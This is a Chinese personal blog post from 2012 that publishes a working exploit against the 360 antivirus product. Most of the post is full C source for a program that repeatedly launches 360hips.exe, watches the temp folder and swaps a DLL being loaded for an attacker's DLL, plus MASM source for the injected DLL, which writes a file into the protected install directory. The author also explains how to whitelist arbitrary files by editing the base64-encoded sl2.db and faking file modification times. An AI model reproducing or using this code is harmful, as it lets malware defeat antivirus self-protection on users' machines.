注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

续集-OK 360  

2012-08-08 18:06:14|  分类: 优秀技术文章收集 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
文章转载注明来自http://user.qzone.qq.com/519306795

俺不闹眼子,嘿嘿,现在放代码。
 
我说过,只要是杀毒软件留给我们“输入”的地方,就有可能攻破它,就算它没有问题,我们制造问题。下面就是注入360模块的代码,我自己写了一个demo,
很久以前的代码了,一直没有放出去,我想说一点的是,只要我们进入的360安装目录里面任何一个exe的进程之后,我们就可以随便在他的安装目录里面创建文件了,保护形同虚设,你想怎么干点什么,随便你,我的demo只是在360的目录里面创建了一个fuck.txt文本,当然如果你想加白名单的话,分析下这个文件sl2.db,这个文件加密很简单,只是base64加密,360sd的白名单就放在这里,之前分析过,很happy哦,这个文件里面的没一个条目我记得只记录了白名单文件最后一次修改的时间哦,也就是你把一个文件加入白名单的时候,360sd会获得这个文件的最后一次修改的时间,木有md5记录哦,也就是说,如果这个sl2.db有记录条目,你可以替换这个白名单文件,然后修改这个文件的最后一次修改的时间,ok,然后运行这个文件,噢,360sd傻逼了。不知道现在360sd修改这个文件的加密方式了木有,噢,扯远了,我只是随便说说而已,别想歪了。嘿嘿。
       ok,我的监视demo是用的c写的,测试dll是用汇编写的。替换的dll文件的路径在c代码里面修改,默认的是c:\test.dll,使用的360的模块文件是360hips.exe,这个文件概率大。下面就是代码了。
 
监视demo,c代码:
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <shlwapi.h>
#include <iostream.h>
typedef DWORD (WINAPI THREADFUNC)(LPVOID lParam);
BOOL IsInjectSucc()
{
 HANDLE hMutex = NULL;
 hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "Thread_Exit");
 if (hMutex)
 {
  //打开mutex成功说明注入成功了
  CloseHandle(hMutex);
  return 1;
 }
 return 0;
}
DWORD AddProcess(LPVOID lParam)
{
 while(TRUE)
 {
  if(IsInjectSucc())
  {
   return 1;
  }
  //这里创建360的软件的进程,然后监视释放的dll文件然后替换掉。
  //注意看我使用的目标exe --> 360hips.exe (因为这个概率高)
  ShellExecute(NULL, "open", "C:\\Program Files\\360\\360sd\\360hips.exe", NULL, NULL, SW_HIDE);
  Sleep(100);
 }
 return 1;
}
int main()
{
 DWORD dwThreadID = 0;
 CreateThread(NULL, 0, (THREADFUNC *)AddProcess, NULL, 0, &dwThreadID);
 char szTempPath[MAX_PATH] = {0};
 GetTempPath(MAX_PATH, szTempPath);
 HANDLE hDir = CreateFile(szTempPath,
       FILE_LIST_DIRECTORY,
       FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
       NULL,
       OPEN_EXISTING,
       FILE_FLAG_BACKUP_SEMANTICS,
       NULL);
 if (INVALID_HANDLE_VALUE == hDir)
 {
  return 0;
 }
 while (TRUE)
 { 
  DWORD dwHadRet = 0;
  char stNotify[1024] = {0};
  FILE_NOTIFY_INFORMATION *lpNotify = (FILE_NOTIFY_INFORMATION *)stNotify;
  //注入成功,可以退出了.
  if (IsInjectSucc())
  {
   break;
  }
  BOOL dwRet = ReadDirectoryChangesW(hDir,
           lpNotify,
           sizeof stNotify,
           TRUE,
           FILE_NOTIFY_CHANGE_FILE_NAME |
           FILE_NOTIFY_CHANGE_SIZE |
           FILE_NOTIFY_CHANGE_LAST_WRITE |
           FILE_NOTIFY_CHANGE_CREATION,
           &dwHadRet,
           NULL,
           NULL);
  if (0 == dwRet)
  {
   continue;
  }
  while (TRUE)
  {
   if (lpNotify->Action == FILE_ACTION_MODIFIED)
   {
    
    char szFileName[1024] = {0};
    WideCharToMultiByte(CP_OEMCP, 0, lpNotify->FileName, -1, szFileName, sizeof(szFileName), NULL, FALSE);
    //简单的过滤文件
    char *lpDll = NULL;
    lpDll = strrchr(szFileName, '.');
    if (NULL == lpDll)
    {
     break;
    }
    lpDll = lpDll + 1;
    if (lstrcmpi("dll", lpDll))
    {
     break;
    }
    
    //替换dll文件进行注入
    char szFilePath[1024] = {0};
    lstrcpy(szFilePath, szTempPath);
    PathAppend(szFilePath, szFileName);
    char szInjectDllPath[MAX_PATH] = "c:\\test.dll"; //这个dll就是我们要注入的dll文件,自己写一个dll测试就行了
    cout<<szInjectDllPath<<endl;
    cout<<szFilePath<<endl;
    cout<<"替换360的dll的结果 :";
    cout<<CopyFile(szInjectDllPath, szFilePath, FALSE)<<endl;
    
   }
   if (0 == lpNotify->NextEntryOffset)
   {
    break;
   }
   lpNotify = (FILE_NOTIFY_INFORMATION *)((LONG)lpNotify + (LONG)lpNotify->NextEntryOffset);
  }
  cout<<"******************"<<endl;
 }
 
 CloseHandle(hDir);
 return 0;
}
 
测试dll文件,masm写的
.486
.model flat,stdcall
option casemap:none

include  test.inc
include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib
include  shlwapi.inc
includelib shlwapi.lib
include  debug.inc
includelib debug.lib

.code
DllEntry proc hInstance,dwReason,dwReserved
  LOCAL @szFilePath[512]:byte
  
  .if dwReason == DLL_PROCESS_ATTACH
   ;创建互斥量用来表示成功注入了,这个时候监视进程就可以退出了。
   invoke CreateMutex,NULL,FALSE,CTEXT("Thread_Exit")
   invoke MessageBox,0,0,0,0
   invoke GetModuleFileName,NULL,addr @szFilePath,sizeof @szFilePath
   invoke PathRemoveFileSpec,addr @szFilePath
   invoke PathAppend,addr @szFilePath,CTEXT("fuck.txt")
   invoke CreateFile,addr @szFilePath,GENERIC_READ or GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
   invoke CloseHandle,eax
  .endif
  
  
  mov eax,TRUE
  ret
DllEntry endp
 

end DllEntry
代码有什么问题联系我,还是那么一句话,只要是有“输入”的地方,我们就可以分析进去,就可能有发现。做杀毒只是浮云,相信很多朋友耐心分析几天就可以搞定。
如果有人把代码用在不正当的地方,本人概不负责。
  评论这张
 
阅读(122)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017